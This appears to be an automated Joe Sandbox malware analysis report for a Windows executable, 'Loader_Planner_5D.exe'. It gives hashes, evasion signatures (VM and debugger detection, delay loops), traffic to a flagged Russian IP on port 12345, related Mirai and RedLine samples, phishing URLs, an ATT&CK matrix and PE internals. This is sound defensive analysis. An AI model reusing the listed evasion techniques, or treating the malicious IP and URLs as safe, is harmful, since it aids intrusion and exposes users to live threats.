Edit tour

Windows Analysis Report
Loader_Planner_5D.exe

Overview

General Information

Sample Name:	Loader_Planner_5D.exe
Analysis ID:	830781
MD5:	06f9dad7d7dfe6cb54e5ac17964cb647
SHA1:	a1fac89f6e3a84d98f23f67c4068cfa9168c10dc
SHA256:	39afa70975b04bcbf4c81e195868ece254ecf0e183ee38b3253b5a1cb7ab14a7
Tags:	exe
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Query firmware table information (likely to detect VMs)

Connects to many ports of the same IP (likely port scanning)

Found potential dummy code loops (likely to delay analysis)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Detected TCP or UDP traffic on non-standard ports

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Program does not show much activity (idle)

Abnormal high CPU Usage

Classification

Process Tree

System is w10x64

Loader_Planner_5D.exe (PID: 6020 cmdline: C:\Users\user\Desktop\Loader_Planner_5D.exe MD5: 06F9DAD7D7DFE6CB54E5AC17964CB647)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Loader_Planner_5D.exe

Virustotal: Detection: 10%

Perma Link

Source: Loader_Planner_5D.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71066128C FindClose,FindFirstFileExW,GetLastError,	0_2_00007FF71066128C
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710661300 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	0_2_00007FF710661300
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710656BE8 FindFirstFileExW,	0_2_00007FF710656BE8

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 217.114.43.57 ports 1,2,3,4,5,12345

Source: global traffic

TCP traffic: 192.168.2.4:49696 -> 217.114.43.57:12345

Source: Joe Sandbox View

ASN Name: SKYNET-ASSkynetLTDEkaterinburgRussiaRU SKYNET-ASSkynetLTDEkaterinburgRussiaRU

Source: unknown	TCP traffic detected without corresponding DNS query: 217.114.43.57
Source: unknown	TCP traffic detected without corresponding DNS query: 217.114.43.57
Source: unknown	TCP traffic detected without corresponding DNS query: 217.114.43.57

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Code function: 0_2_00007FF710639130 send,recv,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF710639130

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF7106637F0	0_2_00007FF7106637F0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71063D8D0	0_2_00007FF71063D8D0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710653BCC	0_2_00007FF710653BCC
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710634D60	0_2_00007FF710634D60
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710633180	0_2_00007FF710633180
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF7106231D0	0_2_00007FF7106231D0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710661300	0_2_00007FF710661300
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71065C3E0	0_2_00007FF71065C3E0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71066757C	0_2_00007FF71066757C
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710633540	0_2_00007FF710633540
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710655540	0_2_00007FF710655540
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710625530	0_2_00007FF710625530
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710659518	0_2_00007FF710659518
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064C5F0	0_2_00007FF71064C5F0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71062B790	0_2_00007FF71062B790
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF7106397E0	0_2_00007FF7106397E0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71065C86C	0_2_00007FF71065C86C
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF7106328C0	0_2_00007FF7106328C0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710654A10	0_2_00007FF710654A10
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064CB04	0_2_00007FF71064CB04
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710656BE8	0_2_00007FF710656BE8
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064BBD8	0_2_00007FF71064BBD8
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71065EBE4	0_2_00007FF71065EBE4
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71065ABE4	0_2_00007FF71065ABE4
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71062DC30	0_2_00007FF71062DC30
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710663DC8	0_2_00007FF710663DC8
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064BDC0	0_2_00007FF71064BDC0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710658DA8	0_2_00007FF710658DA8
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710654EC0	0_2_00007FF710654EC0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064EF4C	0_2_00007FF71064EF4C
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71063EFF0	0_2_00007FF71063EFF0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710655FD8	0_2_00007FF710655FD8
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064BFA8	0_2_00007FF71064BFA8
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71063AFA0	0_2_00007FF71063AFA0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71063A090	0_2_00007FF71063A090
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71064E084	0_2_00007FF71064E084
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF7106390C0	0_2_00007FF7106390C0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710634D60	0_2_00007FF710634D60

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: String function: 00007FF71062A010 appears 154 times
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: String function: 00007FF7106411B0 appears 35 times
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: String function: 00007FF710634890 appears 64 times

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Process Stats: CPU usage > 98%

Source: Loader_Planner_5D.exe

Virustotal: Detection: 10%

Source: Loader_Planner_5D.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: classification engine

Classification label: mal60.troj.evad.winEXE@1/0@0/1

Source: Loader_Planner_5D.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Loader_Planner_5D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Loader_Planner_5D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Loader_Planner_5D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Loader_Planner_5D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Loader_Planner_5D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Loader_Planner_5D.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Loader_Planner_5D.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Loader_Planner_5D.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: Loader_Planner_5D.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Loader_Planner_5D.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Loader_Planner_5D.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Loader_Planner_5D.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Loader_Planner_5D.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Loader_Planner_5D.exe

Static PE information: section name: _RDATA

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF71066128C FindClose,FindFirstFileExW,GetLastError,	0_2_00007FF71066128C
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710661300 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	0_2_00007FF710661300
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710656BE8 FindFirstFileExW,	0_2_00007FF710656BE8

Anti Debugging

Found potential dummy code loops (likely to delay analysis)

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Process Stats: CPU usage > 85% for more than 60s

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Code function: 0_2_00007FF710642B50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF710642B50

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Code function: 0_2_00007FF710658208 GetProcessHeap,

0_2_00007FF710658208

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710642448 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF710642448
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710642B50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF710642B50
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710642D34 SetUnhandledExceptionFilter,	0_2_00007FF710642D34
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: 0_2_00007FF710649EC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF710649EC8

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF71065B188
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: EnumSystemLocalesW,	0_2_00007FF7106524DC
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: EnumSystemLocalesW,	0_2_00007FF71065B4D4
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: EnumSystemLocalesW,	0_2_00007FF71065B5A4
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF71065B63C
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: GetLocaleInfoW,	0_2_00007FF71065B888
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: GetLocaleInfoW,	0_2_00007FF710652874
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF71065B9E0
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: GetLocaleInfoW,	0_2_00007FF71065BA90
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF71065BBBC
Source: C:\Users\user\Desktop\Loader_Planner_5D.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_00007FF710660F50

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Code function: 0_2_00007FF710660DA0 cpuid

0_2_00007FF710660DA0

Source: C:\Users\user\Desktop\Loader_Planner_5D.exe

Code function: 0_2_00007FF710642DA0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF710642DA0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	22 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader_Planner_5D.exe	3%	ReversingLabs
Loader_Planner_5D.exe	10%	Virustotal		Browse

Domains and IPs

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
217.114.43.57	unknown	unknown		16230	SKYNET-ASSkynetLTDEkaterinburgRussiaRU	true

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830781
Start date and time:	2023-03-20 17:29:26 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Loader_Planner_5D.exe
Detection:	MAL
Classification:	mal60.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.8% (good quality ratio 83.6%) Quality average: 63.9% Quality standard deviation: 34.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 26 Number of non-executed functions: 94
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Not all processes where analyzed, report is missing behavior information

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKYNET-ASSkynetLTDEkaterinburgRussiaRU	https://vanillagcbalanceportal.michel-chaudun.jp/6NEy6h78shEpV9WQ.php?gclid=Cj0KCQiAtICdBhCLARIsALUBFcEyXZMTrgc2RQMClWwv4fvr6MDIx4CQIQdl42AnyndZqe3KvbzKmZ4aAkhhEALw_wcB	Get hash	malicious	Unknown	Browse	217.114.42.146
https://vanillagcbalanceportal.michel-chaudun.jp/6NEy6h78shEpV9WQ.php?gclid=Cj0KCQiAtICdBhCLARIsALUBFcEyXZMTrgc2RQMClWwv4fvr6MDIx4CQIQdl42AnyndZqe3KvbzKmZ4aAkhhEALw_wcB	Get hash	malicious	Unknown	Browse	217.114.42.146
https://vanillagcbalanceportal.michel-chaudun.jp/6NEy6h78shEpV9WQ.php?gclid=Cj0KCQiAtICdBhCLARIsALUBFcEyXZMTrgc2RQMClWwv4fvr6MDIx4CQIQdl42AnyndZqe3KvbzKmZ4aAkhhEALw_wcB	Get hash	malicious	Unknown	Browse	217.114.42.146
qUC4fwxGhK.elf	Get hash	malicious	Mirai	Browse	178.248.3.123
xd.mips.elf	Get hash	malicious	Mirai	Browse	46.226.162.112
boatnet.arm7	Get hash	malicious	Mirai	Browse	217.114.43.170
boatnet.arm	Get hash	malicious	Mirai	Browse	217.114.43.170
boatnet.x86	Get hash	malicious	Mirai	Browse	217.114.43.170
VimeWorld.exe	Get hash	malicious	Unknown	Browse	217.114.43.109
8810671860649139101.exe	Get hash	malicious	Unknown	Browse	217.114.43.109
build.exe	Get hash	malicious	Unknown	Browse	217.114.43.109
meerkat.arm7	Get hash	malicious	Mirai	Browse	217.144.176.79
JRdVeDgVhU	Get hash	malicious	Mirai	Browse	217.144.176.39
jcVSGHpTVa	Get hash	malicious	Mirai	Browse	217.144.176.95
z3hir.arm7	Get hash	malicious	Mirai	Browse	46.226.162.100
BP1566jQZs	Get hash	malicious	Mirai	Browse	46.226.162.109
9ZnD8DLo4V.exe	Get hash	malicious	RedLine	Browse	217.114.43.40
mpsl	Get hash	malicious	Mirai	Browse	217.114.43.199
komaruteamsup_crypted.exe	Get hash	malicious	RedLine	Browse	217.114.43.193
80587361.exe	Get hash	malicious	BitCoin Miner Vidar Xmrig	Browse	217.114.43.28

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.400110151579774
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader_Planner_5D.exe
File size:	461824
MD5:	06f9dad7d7dfe6cb54e5ac17964cb647
SHA1:	a1fac89f6e3a84d98f23f67c4068cfa9168c10dc
SHA256:	39afa70975b04bcbf4c81e195868ece254ecf0e183ee38b3253b5a1cb7ab14a7
SHA512:	a6854dfaf14a1e662ab4028f157ee9f4f127b45fb68a092a2f12e1c9ba5d2361ea348572f832eb83b466254af5a52e22556ecd4c4df8fc35813b17d8a0cfdae8
SSDEEP:	6144:dMTTcUFpRus2JE6ZYxgm6RCgOFcxXjIsm6nshmcAUohOHbSQ9TAeeYF3:EpA5axgZRCgYcxX1y86okHbSQTX3
TLSH:	E7A47C5EB69804F9D0B7C2388D535D05FA7678160372DAEF1394D2622F236E09E3EB52
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............eS..eS..eS..cR..eS..dR..eS..dSD.eS..fR..eS..`Rd.eS..aR..eS..`R..eS..aR..eS..fR..eS..lR..eS...S..eS..gR..eSRich..eS.......

File Icon


Icon Hash:	0e13494d45596d13

Static PE Info

General

Entrypoint:	0x14002293c
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6410ADB2 [Tue Mar 14 17:24:02 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	223f1ed9bbd1fd555c0f15ea4e64adf2

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB344EEA5E0h
dec eax
add esp, 28h
jmp 00007FB344EE9FFFh
int3
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [00029CCCh]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00029CB1h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FB344EEA157h
dec eax
lea edx, dword ptr [00044883h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007FB344EEB8C6h
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push edi
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc ebp
xor ebx, ebx
inc esp
mov edx, edx
inc ecx
xor eax, 6C65746Eh
inc ecx
xor edx, 49656E69h
inc esp
mov ecx, ebx
mov esi, eax
xor ecx, ecx
inc ecx
lea eax, dword ptr [ebx+01h]
inc ebp
or edx, eax
cpuid
inc ecx
xor ecx, 756E6547h
mov dword ptr [esp], eax
inc ebp
or edx, ecx
mov dword ptr [esp+04h], ebx
mov edi, ecx
mov dword ptr [esp+08h], ecx
mov dword ptr [esp+0Ch], edx
jne 00007FB344EEA1DDh
dec eax
or dword ptr [00046637h], FFFFFFFFh
and eax, 0FFF3FF0h
dec eax
mov dword ptr [0004661Fh], 00008000h
cmp eax, 000006C0h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x67764	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x72000	0x3061	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6d000	0x3c0c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2bc03000	0x5728
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x76000	0xb74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5e900	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5e980	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5e7c0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4c000	0x3c0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4a9ac	0x4aa00	False	0.5098605004187605	data	6.453779032901296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4c000	0x1c3b4	0x1c400	False	0.44875207411504425	data	5.230835141983772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x69000	0x3384	0x1c00	False	0.17271205357142858	DOS executable (block device driver \322f\324\377\3772)	3.363563937620916	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6d000	0x3c0c	0x3e00	False	0.46559979838709675	data	5.518302662650405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x71000	0x15c	0x200	False	0.416015625	data	3.347347574954449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x72000	0x3061	0x3200	False	0.937890625	data	7.731425657874785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x76000	0xb74	0xc00	False	0.48046875	data	5.380403489539034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x72150	0x2d7e	PNG image data, 256 x 256, 8-bit/color RGB, non-interlaced
RT_GROUP_ICON	0x74ed0	0x14	data
RT_MANIFEST	0x74ee4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetPhysicallyInstalledSystemMemory, GetModuleFileNameW, CloseHandle, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, RaiseException, GetLastError, SetLastError, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, RtlUnwind, ExitProcess, GetModuleHandleExW, GetStdHandle, WriteFile, GetFileSizeEx, SetFilePointerEx, GetFileType, Sleep, GetConsoleOutputCP, GetConsoleMode, HeapFree, HeapReAlloc, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, EnumSystemLocalesW, ReadFile, ReadConsoleW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, SetStdHandle, GetStringTypeW, HeapSize, CreateFileW, WriteConsoleW, CompareStringEx, DecodePointer, InitializeCriticalSectionEx, LCMapStringEx, GetModuleHandleW, GetProcAddress, GetFileInformationByHandleEx, FlushFileBuffers, GetUserDefaultLCID, AreFileApisANSI, LocalFree, FormatMessageA, GetLocaleInfoEx, FindFirstFileW, 